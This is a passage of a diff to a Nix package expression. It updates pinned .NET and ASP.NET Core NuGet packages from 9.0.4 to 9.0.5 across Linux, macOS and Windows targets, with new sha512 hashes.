+      hash = "sha512-npNR7X56F/j6xczrnBrWGUkvd/gaFU0CaLswiMQbGnIi1MYJ2woFPiLe7bJnlL2xhLYlpgob6o4Cu6oY7N5uzg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.4";
-      hash = "sha512-9652qoJznQPLtcYKcRiuQ+5Dtwan0GiWPUnbsMmMwJvyjW/6SdBH+o3UaqOxqNpB2G3SKjJOhhw3N5SFWn6l3g==";
+      version = "9.0.5";
+      hash = "sha512-mVdknn4KHJG9tfUPpwDf2/kYXi5nA43FsOFBYJEwxgv5+lsKRXV+0hMhXHHItSHwWv6l3KxKhXWzBIXdC85Aew==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.4";
-      hash = "sha512-ESpNNBaKWwr1erNvVDgK2vA2I+zFbiMehC67VceL7kR6mLMWxN8oqZlQqAfgvJYnCLZkH7fzO7Zxb9qevQTRZw==";
+      version = "9.0.5";
+      hash = "sha512-L/1jHi6pAYF68CUlwlAl27IWrVECmIb3VnDC8oWtEVCBsvFdrt+tjG5SJHGOHVfnNlDvC8dGAg5CNHQB19/GFQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.4";
-      hash = "sha512-lcUUZSXo2LltmwwGGguxLb/nbV593pxPfMAZu2khUEVPDIlaibGhpoDec310mRzmUPaAB6YW5TCiwXVMkzvL3Q==";
+      version = "9.0.5";
+      hash = "sha512-u4CoDTKdSfJFso3oje/YhLxEbwHz6OsBnupzSNXwetmdC58REHsNHfEXiEOoDh8eyc/MXNBrkUjX4kPQuiSSOw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.4";
-      hash = "sha512-M4qamLjJiYkDJCgSuMzo4fSpOkTVP1GXOornRjb9hXM6gQ21kpsCODmQN4KL52dJnUDWQ/iadeMDfYbcnRR9BQ==";
+      version = "9.0.5";
+      hash = "sha512-bMyx4wFS2+u32e6rhVJ1qbSvhiWw/Qd1AB2Nd9BcQYJHMcwPAfLSvmUJHltzKaFurGDRKDCzm1Kvf/72VRpwsA==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.4";
-        hash = "sha512-rNmjYBMPRwPf1doT9lroKtMl2oXNAlzTswoR5qmNQYb3ex9vEwST/7jw/uLdFnkrxZq61miCX6zulWqiCDBvTQ==";
+        version = "9.0.5";
+        hash = "sha512-lVHFQ8K2gcq5xN+mrzMBuE1FFsDOVrwnzfaGneSZr9aBt6pFHiMpa3B/IN04NcnV2ZEt93qnsj9QsxU3F5cxaw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.4";
-        hash = "sha512-6Qot5GbyZ71VKIjXQWZ788C0eNdeQ2k52/iowLZMALvM7LlwJmnZNtf+Y5fOJ4DUMxdtNLuQnQFixl9RsoWBtA==";
+        version = "9.0.5";
+        hash = "sha512-e2BdyeR5hL5tyTUY2b0LmRPVB5NZ/ioCVVbN+G7ZpxufulVdvHGR12SrweElzipvT1hUSse71RjO2UB3nxjurg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-amO7zt96OGrM0WoU0WfJ3u33zrfJTzW9b7+8otzwkw2eSWHdZQ2YzG+tfAl1apn1teVo57dmyk62GXPSds/ZDA==";
+        version = "9.0.5";
+        hash = "sha512-X5jO/py3v/DcQO4P5TknH++LPHcjheooI8fDCm3KQXejUaVMv3GXFbeWtlpoBjbmhchS95Ye87OooPsLDTOntQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.4";
-        hash = "sha512-UGP/y+jRzQXL6yFQz+M6bWncnfyswcOzW3Ucgt9j0lsICBD0yY33gs0D2/ylUNUIF1Nt0tw+Npsa39+9JtUqlQ==";
+        version = "9.0.5";
+        hash = "sha512-sO9udn058dZbRQbNq1oKILhQ18cCZXOa6DLh9JgLqA9baoUfY5OfZNJfmS/kfOILKbCUrZ6WTtHMgZ7ycPN0/g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-RJOJcMf4cnjCdEYZDjrbdB1mzo3lQ5EO5px/h//Yw4hgfCCC4o3LlXZjwGs9TrhxjCLOyvLDUTaL7hiiwHu98g==";
+        version = "9.0.5";
+        hash = "sha512-EAWf5+sR/zL7che2L5IrQTpjBjw/n1ZOFSebZauy0E4sHMFLJSb8KgWXzQG4wN5juTJbMseiU8VbNOS3tnXDLw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.4";
-        hash = "sha512-3E0/4Lv5WsOlUg1ZnSGU85d3gKZht7bqYUt1iLMoB+8MgQzQ0eC0dbX42R9e1/cFKD5fKV8CeRY1btiB01MY8A==";
+        version = "9.0.5";
+        hash = "sha512-ou/tAJJiTz8RkcGmSoHi22LSrjJL34GicrARl5WR84cVxVmPKjinwbO/6ys5UmHqg7dlSsZXretTdWfu9EdVhQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.4";
-        hash = "sha512-IjirV0j89JOs05q+cVhHNB07Jkocmfr3ovsP6MHJSQ4Y/j8/qnwuuyYWkq/T0R3jzR9AJNW1RbEWTTYgtkXpaA==";
+        version = "9.0.5";
+        hash = "sha512-4IcCNgCcWEOmV+JuEyaEzyJpFhJq3ktDwDPVoMf2c6fNhtl46YgjGjGdLw1uLHu3UYAcJI0Tlvd5kizHwoqEIw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-w+VA1zUGa1zEzeAvbA52TWuHhNNeXdzvAUtsROJirqZOxSBkeEJJ4wCCR7f1gbNT9xRsXrt5zr5w12GYWOiePQ==";
+        version = "9.0.5";
+        hash = "sha512-AMq9q2VAWgNOK63kxWcbvBc+wUUB2a2gK5yfeNpj0pK9rb3i9np2tmm7RbXEDCkDr/m6hR/kqm1RkbhvRdofEg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.4";
-        hash = "sha512-9g8ciWAj0YfdPZ2p1EwPNWe9lw5QBS1g/wz6fwfrT5Gv2am+jFRSycSjNgmMJBGl4r56T9BU66+wpCe1n04TOw==";
+        version = "9.0.5";
+        hash = "sha512-Ndx5gVPDtSfwCwFEXm520IUk86xPUQ0yzU5ZkOj5Enkn2Tt3eIC0rI0Stjzs52/JYo1oHM9Cj0FKoHvm2XX6+g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-w5Nv7R5RfW8VAhXlnvN4aLwyP90zATGAoHBq3sdF7dBXeUjmAa4i1dWFFi48wpXt4pz8WqGCagC1lrOZN2ehrw==";
+        version = "9.0.5";
+        hash = "sha512-aE+vLS9/ZwCaunIpKgzPYl3siu7eglD40YpT/ggX97+8JidaS8D/q8/nJ3CMAFwkWs6RfcdG739YY8TvcfyYbQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.4";
-        hash = "sha512-70I57to1fSmmxUR4/x2933gYT/KWC5uDvMbmm6UFsd9luuB6exMQ2r7nGszjPNTpIE7r7T5Nab7MxxHa3VVj4g==";
+        version = "9.0.5";
+        hash = "sha512-Xa1BhvYwDZP0ajkx61psrhbovJf97lUKXg58LJY+TA/9xURTUcMrHSn5BB+wPHDYtBNsJftserTvG+HeR+NXQg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-qFXy+6HwCF9+e98d74IIuSIbQQ+SxcYS9+G7WiI/mlqVwCf2himA9rns2i3h0Sd1yoWCQNpWufZX75XcwqUKdA==";
+        version = "9.0.5";
+        hash = "sha512-iXbcLp5noA610tVVbvppH0WoGw9Tk7x0sVmbEhTfvhtrgz7SAYvnJci8XMaWIUNTVterN0w50E6dEHUV1mX+wg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.4";
-        hash = "sha512-vn3eNLZU0vHGep2lJJJODP88ZJeUs16uR3JAmBPcrACCm1wKS5TLirKnzfABaAnyG9BZhUj+HnrEed9k2J2NsA==";
+        version = "9.0.5";
+        hash = "sha512-69GFvWBiC0BXfgDZ6QhMPr7pUmrepsvF+C8I7X/Co0KpHtB70/89nshsY/i1H3LKp0vL+pfbJFRjvTrf+L2Sjg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-bUz1iGmI6QgbUu6LU/fYOxrXLjZ7mi6UJprNkyvK25XwWu/pgz9B/h1aweVlYUsbqGzc77+X7sal3n6Tk9T63w==";
+        version = "9.0.5";
+        hash = "sha512-MmwaKx16ig2VMYpnGIhhIDYfNonXUUf+DocK7hg3Ur+zghob63ZQ4diPaMv75gJ+f0TVWHUDuwIn8u4apKE8ew==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.4";
-        hash = "sha512-oZrkhwt3bcUEPm/4GZofUoCnP65wUUS2iebQMMEyZ5D4EDyvh+XUaoLEFALuR8jTI4FZagEJOmraT5mh9vItDg==";
+        version = "9.0.5";
+        hash = "sha512-A+ZcBjMxZRcWNYjBUQ2EoX759Ls9x5gWHe3vdzfWF2YCg7GB+vGlQx2UtdMfkaGoH/nkCXl0saghJSuSWw8+DQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-IgZKzsTEKr58aJQusmVbL9fgBJgvd4N0AL7na3upkvaaqyJilbZWH9LwTDop4IFBU5YsU+6eFPmSzH0+wCnvHA==";
+        version = "9.0.5";
+        hash = "sha512-urCeKcia9RhVJJOBROuCXfOBTB3qbAO85uyYhglLGSaT0XAHzQ1p0iFS+nZrFBdHTBJ9Z0eK01mIW03FNAFb0w==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.4";
-        hash = "sha512-t4G5IaInNgvUVDBgzBaoXEgck5pkVznoMKDvGi/Mg12Gaq7oiny/h08uxP8TIgEV4gxauNmkVSwNPjm6YMafOg==";
+        version = "9.0.5";
+        hash = "sha512-NI+qfc8De8XP9ppO1q7vWBOqrDIrW2/Sza/jUN5tObfmJ1tycjpChtNOs3mSrbU3Z/UYrAQkvupGYvL+gCZSQw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.4";
-        hash = "sha512-/qSCUmX8PrqF07YmNmVQAp06ZskYWgSuVNEsBtG0AUK8JubUNwuUXgOQBUwlnmes90SmSoXSOTtFOeKQWTEU4Q==";
+        version = "9.0.5";
+        hash = "sha512-Lcuf3n7bbcm0qc2lqzMdrQHpS4NHcUPp+3YVrfDjRsxYquSooHb/JtlslBmLhOwzUMUD3y9pJLAd3pk2K8+iDQ==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.4";
-        hash = "sha512-7PP+4qxaIvxx8FCUv/VRyiwQUD+RQLauRCcPp6q8g8OIPctopRAx5ehyp9knsCM74TsO7Z8r03QIjQCd78iy5g==";
+        version = "9.0.5";
+        hash = "sha512-CM/Pt1M4wrBxhwu1tC2smQ3b89bK0tHeHbw7bb5N3t4S9TO1OihQUSNpKYNYUcag+i7MQACkJ6ar9w+QCwUj1A==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.4";
-        hash = "sha512-HESugR3kRiscJYecjfbn4WbXTkTx6cvfmbl3m31gtpbEfib1IGuTJoR1wZBwikDq5AMaPQ8ttKjUL7UjYfL/Hg==";
+        version = "9.0.5";
+        hash = "sha512-dcr6pOXx0PgN1WGp4qNoxx6/VG5DxhhbOaudgoVnL1xLup53kjIytNx3K96gHVzpvVTQKGt9RgomX/bTwYuuJg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.4";
-        hash = "sha512-qWlxpKfPrEmiCN/wko6dyqUWOnYT+17l/03OfGTMCnXjEc3Fuya1gt2TUgA3xb1T4zEB/36PpfM/0gQWcqK/5w==";
+        version = "9.0.5";
+        hash = "sha512-zxFRCxPWBcsHfMhX4j+yqRHnbeQlR0NTw8JEYYO4d/V7hgwBL3obJQeTTdP+Xh68QxFPJFqAQTCJTTy/T406bQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.4";
-        hash = "sha512-AyrCHxVZrf0sN/BX2zveZ59Rc++2ri0ULr5s53/BnpXZByRcVi2SYA6HJpzuvgkPdFk1Wibnwr2SUkG4nq0Vgw==";
+        version = "9.0.5";
+        hash = "sha512-aUM0/okMRohpeJmvrRHbpyF69SptLu+DDufJC3APk0I0ok88T1HSlG/vn5Apit72KTOc70vJVMVcaQcNAN1R7Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-Tjf1IDWU+KzSQOtuNlK6rspCZB/r4tRYdlbq8CrBD9NVmeX/pgZJimR5vAAb8LPVmYP6PFzLk6TlNbwTqLtjxg==";
+        version = "9.0.5";
+        hash = "sha512-xN6i+Ov/DrFY3S9W5jVW475scRokjdiMITS05+NfPXQC70zE/kfVujdXVQlU1a6qcNVO1p70PdMIzvs2FRtpVg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.4";
-        hash = "sha512-hFMJ19RX8ANd2tbx8I43VGCLZjiqijd5TrNrZwLhfGL7s+oP9si1zypP58R8QJXv/C5QQi1CZwajPL2onM2D1A==";
+        version = "9.0.5";
+        hash = "sha512-Mt8To4crSMlcaHP/BiZuUAroEYQyOazOx6jzVo6H3GNlLKY7rIFk5cgKLXxKVF2fLcnab8d/DbBY1ZRlW0DUeg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.4";
-        hash = "sha512-IkuEOan9M20Ledywqy5yVvdC9VaiEcONRVANYaLCipOFwMm9zZ0agjfH/vMPtWciZEM2LVlIFqkKxZ6T3zvB8w==";
+        version = "9.0.5";
+        hash = "sha512-V7LGhVXf4viIZlEBldjN9P5zririHYIcF+0WOdWVydaOvygXoY4Ni4q8vjFSZ6elJAtremagj3hIZyXQul2+jA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.4";
-        hash = "sha512-wIiquDAgWYZHOntjbtRR5cF4UyrfEhiGg5u0NmLWdq1QuH1ELNo7L7MxvY3RnGToKHzX2qNKeKqrRhAF4IF5Uw==";
+        version = "9.0.5";
+        hash = "sha512-Ohgbw58CYKcYdo/wX7jRSwbgmZbSadu/b8bKeuRFQMSg5T0UH8yCjSqZOptt1MS/8HmpbEIA1ftgkT9agt+OvA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-YK2CKWvhg+xjinZ3GSsLUw5mpbj6Tfjs2QuXPCIMjomPBr/uAyRRlgNS0OZFCpNzgYr/qaEHmnPXH7Q64f8wJg==";
+        version = "9.0.5";
+        hash = "sha512-SHabZtiO2X3nJDFFO7kgv1rBpoSdc3oIHqQ2B2CmfScUO5vKu+ICDPl8ppNblEO8QijdU7Ro/doHY0J+sCxGoA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.4";
-        hash = "sha512-UaWTHUD518NWUtwkKNtWdvO8QNs6CCfyXHnRlJvKAC4erqN3UOuJEeWArjhkgE8a/CRfpSIhKwOTdV/tnn+gug==";
+        version = "9.0.5";
+        hash = "sha512-eGGCJb+uBv6vOgtEe+ED6KXtAXbCcT9xTpDwugitsQ8zBhIwI/WurixXw3TjmUqrvZxZ+HJCPoRl/kMmNuioeA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.4";
-        hash = "sha512-4RUi49WQAI4Baw8mQLlsC48fn7XmJJ6Z0IvGmuHdpgy+4oMfMBJ3QwqvRJu0KwsGChRXNwc70RrjVngcZYJIVw==";
+        version = "9.0.5";
+        hash = "sha512-3LsjkhMoNA7EvYv7O6OrVrryhyegoSBE5Y5Se5iJ7HAXFSUQ7fIYGihhGxy/Gfr8X7MrRu5JGkLx9inxSoB85g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.4";
-        hash = "sha512-y9bCkG0PrncIg+j4j0LXkdkYFE3guOcpnqbbmrEruVNrvWnSSDIrtPNI3FgKlcMobevz5lrIoB7QaQYhQTm20w==";
+        version = "9.0.5";
+        hash = "sha512-G6euOgaAfYCYWmWlDU2NFfpZ6tiC7/fDiMmb8YtlQVPI87JatLGWduxQQSqdhwKMDJuQZob6tW+Dv7a3LZt03g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-ygb6uFrTXttJ966dV63qrYYTuttq/3lZHa8QJjel6PN6aTGtFb+PPvDU4/g/ugOYph7QRIBPfus9UoE6Zc3VHQ==";
+        version = "9.0.5";
+        hash = "sha512-dj/5fuYoWKYLwm0RMvVUDM4arCBwLXBIZvYZJRTQFlv9MFxwVrmaeqjL45UVI1RgEzhwLLEUR2MQM7vMUP/QLg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.4";
-        hash = "sha512-0DFgLJViv36p69rfAdG8vT2OTeuVAUBwXOKujxEjciMJw3A8WhxJY/8f8liqjGOEJGlEdLGlbJn55DUjAK94Gw==";
+        version = "9.0.5";
+        hash = "sha512-9cYhk+OCPeVyNyFEbAweEqYHCIkreEWXzXyP06hpxGu8b//n2hLrjXv+aErRjVzGlpLZoRalMyzREx7naSEgzQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.4";
-        hash = "sha512-d1da+SUJ1gpDmjiSldu0pEXViPBMk3Ca3Xeu/k9nIAhj9K9a2mQKML0BvAxhvOMSWPFjFzzfTvg09j6fHXM+lQ==";
+        version = "9.0.5";
+        hash = "sha512-sFJWSzk+HKZ9vSOgN765Nru+XAyebFwgKOvAdynCv/2hvluBYbS8FcLkydd+n+PYDrw+yXf0VPWlzpnWeSmz1A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.4";
-        hash = "sha512-/hLWgU+Vco9EmCfZLvnuVpq3E981xv4flqgvefdUWusnwEvWGscqsxgERA71RQuzDJmY/pdMI/wpA9RZh1m1tg==";
+        version = "9.0.5";
+        hash = "sha512-8Wyh6qTQ2oZaJeGP5SdiWaXoMc6NRMmhHTO1jd8H1XHhgBRXXbkeSHOy30+HInhTiLo+1h5zeI6WBZl559Aa2g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-ejSiC8i0V9Sxy0CQwyB6iNW7BSJp5Wm94TD3QlH85jREQQ3jBACJtggj0HbceSWQTJraZo4/I1M80i4lJjqPlg==";
+        version = "9.0.5";
+        hash = "sha512-mH97t09X3T3JlJC4FfWdX0aG3hYfvmBtA09ysq/eTXEKmGJ4jtl6I+EfeI9dVPFSdYkHlBpMLmbnyfThTJqg9Q==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.4";
-        hash = "sha512-vSwJYo4NMFbSU0v7S1T066+J04v36dh/f4dZdp2wWAAoH4CODuaHGEN4GO/hK+2CDB0SiSkl6Gi4W2GT8Ys03Q==";
+        version = "9.0.5";
+        hash = "sha512-tBjTfNRXttxWvq296At7QvA++n4lr2TnPQP/ub5wfsnELt+IIjnc7Kt8c+qKEJosdOP0TOKiQoyYbYKrH1JzBg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.4";
-        hash = "sha512-24cIBRjSl8OULJ5YVc7EN35wQnjHHDXYLArn8NqMD05jciGxgGzAhYpv/HIwX/nq3D5fLd/Fd5K6OVWxHvvUIA==";
+        version = "9.0.5";
+        hash = "sha512-pJotYqQ32S9wPYYlw/xgMxrOS/IGDAxWnHNtynxxbyrLGe+Bvpu5mAWFOieTCd5R7PGgCStLL/RCCzS2HDo4/g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.4";
-        hash = "sha512-VJyu6oPNHO2x9lhe5d4SiPgLtTnDPuQITMlVryEI7DMCvA611cixvaIGY58mV1EZqk/vZnWWSY+7RVq4zTlVvA==";
+        version = "9.0.5";
+        hash = "sha512-PX4wq6bS5SJraHVSM8JVazfoPE3YzgIht7zIvFyobXqRKfH26DFmolor1vGxlFoboyOxIvjaG/Ky8nXo9zTLUA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-or3Ze+3tz57tzRstcRkEIYJ9/U3OUQJyml6LuJWXKSx1V5328xRspvcc00ayMWb7fNebHsWpRUe1GPXB+UmHNg==";
+        version = "9.0.5";
+        hash = "sha512-Dnl6fzn9mg5UnGShXymf1P557chMX39XUQZ8GnoTYIB7Nmni80ncNO3z24WcMDvr4U3AZJvk1CARRLAb8sk/Sg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.4";
-        hash = "sha512-rKftT4/EuA6Ve5e7+2Vp8/IOs82s0LtnvLtyNA9GB3B9Q39YMLXjVsfZrudXFmETKe6/yTKicXImGe3fEFjWDQ==";
+        version = "9.0.5";
+        hash = "sha512-7OeO4DIkZcGk4RebYl7T4CKXM7JfVwpYFbkNqHDw8JkzqlLZoVKRgx0jKxXZbOXQ0WN+rJttGKdBDeiZ3zmbXg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.4";
-        hash = "sha512-IMXsCInKmMkBwiGOkVtkRDnBTWADdWbrqlfqaarjxVohdmsJFLTjmBxN3mRWvU6xBpewTYmd5vdXw8T+O1jKJg==";
+        version = "9.0.5";
+        hash = "sha512-tZ9zT1WsKnq5YQhRn4VMGESI8ESDdUAcjQX2/zsKQTW/jpTHUWxhmT/M6EcHp2bMKzct+vF32HCJvZfrbCw0iA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.4";
-        hash = "sha512-2DaodFMppQaC3JDUaz6jlZh0r7LkckbY6lIQv+v6hFrUyM5sR6taSYpJGpp+8eHUtQc1jZwM73VXPG/Vbqdb5g==";
+        version = "9.0.5";
+        hash = "sha512-m4VQm5xFePhThG2c63/d3SvGi03zPEFmQcKycV0lOqRHlo809ahHkhq7taiftuwRTfFy/5R8+5TEsaAOxQ6gpw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-pt3WTD0ftT4y+4I40Awuke4G88KVC43qXed4buWRsMbZDoiYz+yfzJDkgpyhgjAGez0IH4QcKhyk2H8SaOiv1w==";
+        version = "9.0.5";
+        hash = "sha512-fgOU249WCVcsLJdS6BJ1auevUutNXlCqcsyF8wECB8Oq8SSTMKKFFJl8n02n6ZoJoGp0nsK2LgubYatGq6CaVg==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.4";
-        hash = "sha512-Ndx07hwie7lCoCK/JT5lgFPl1HuYrbFWa4bSSzVOZsy69OwKpMbRz7AHqnZI7vzaHccPFg4vdTdkZY8EncjN3Q==";
+        version = "9.0.5";
+        hash = "sha512-WUqvMm7lDZ9qCfDUQSTyuBr3julN+SANxShfxBe972+qO9VIH7JRL2u85hi8IKP6L13L0mVX2rO6iswQfCZE9g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.4";
-        hash = "sha512-OSrryyWs30KjYNHtlhr2msXblECpTGWQleB8h+e5XezHGNLPPJvE+ydmUOj+D5raF3JAkBsEN924OggV5lWsCA==";
+        version = "9.0.5";
+        hash = "sha512-2Y+mmx4hJtcOwNb4qJUuqv0ekrjAyFS3zCK2a6T2TpNQ9ON+ywbnkjQfqwo+hs9uWE1TBiXS1iGgJ6k/f0W3Nw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.4";
-        hash = "sha512-Ekwx+b2IW0yjRToJSk1beUeBWh4wiMzfdRVxprhUu5ruBnPa/jP/DbHMUcZJLLtFKh60kkMlyvJ5rl0pSAJ1Lg==";
+        version = "9.0.5";
+        hash = "sha512-AbfmNGg4zIxlpqakXSdmFYk6k3JE7P2j2z2qUymYbuCHyzS9IqwRIL6zK3aHhUS9b4BWrZkRGbrvq+t9zYERMw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-7az/z2i10Uk6z9i9qsikCoRvA6X3DKaxpC3i9KZe/xdA2BvWP+pDv7JKLdUvAmiIDWR2J0vs6mXsneOxe73a/g==";
+        version = "9.0.5";
+        hash = "sha512-przDLKwmZAQ3fdAlyZ7QGwZZt3s86rgqrcNO1+nmXcCx5ZD6ZlY7Az9QJ4yXkSARFZ7Opk2jep2kEW7Cfpv2zA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.4";
-        hash = "sha512-QxDbubYGVL3pGjOYWYCmjWAgnbJwEj/dcNeCs4Xh4IvUK8R8g8x75gErQZ22OMxS/zqOAOL6NE/sDo2QHU8jaw==";
+        version = "9.0.5";
+        hash = "sha512-KiwdOy8CONzPmGpfSClgu06GPh2W/6Dhp9IA6cUXx5TBi5WgnoDmd4Me9Q6UmGISuR6hCHsKiCWhh/5h9pJDPQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.4";
-        hash = "sha512-BGGZsy+OGa8F99UIBsWfCuLGGRYrQWmBw4smUttKeGoN3/EC/m7TfJSGvhxIbtJPXlXn8Xb2x9H3oxT3WWrFYw==";
+        version = "9.0.5";
+        hash = "sha512-VsEjG4O4eutC8yMRK6naQco648zjpTNl6yxP2fCqH96hq4epnscbmoMio/Bxopt7Xi01y+L78zEcJF8bY591bw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.4";
-        hash = "sha512-Dm7ROGPP08OnNas5zQFSX7aoFrKafGN3JB5RS/Dnf4+RmevGyQNl4LsBZSeAt0fOVSBLJzx+ncA4rnHPsXzVlw==";
+        version = "9.0.5";
+        hash = "sha512-g0Sd+FeVygI2RcT/5DNLcW3c2sePB3aMzc8SAnPI35YB4wfQSbrCeN6B5pw0rZAGP5F6FnnVRfZUTJgcnWCZ3A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-f98Sf0kzZphvV8yVVsOX1wBCUe8W2fBc07uPzgubcpV26thTfqeq8X8URKyFvn0cget2LbRwUxkkCQaR5WV+Vg==";
+        version = "9.0.5";
+        hash = "sha512-RUBFgRdKBSinOH0IlR8RW5RJOf4jghKTRbVRUD8JgcWriAfNkBboyCO9EhuBEs7219qMlrI5VtQxDKrZi042EQ==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.4";
-        hash = "sha512-grhMIUJoKPEwy5TSSwwWecnqjx7eW1GQC61Y/yp6sxeONEDbL5ZNap6kohoot1pQt4NNKf+UroVliPOGAHTVsQ==";
+        version = "9.0.5";
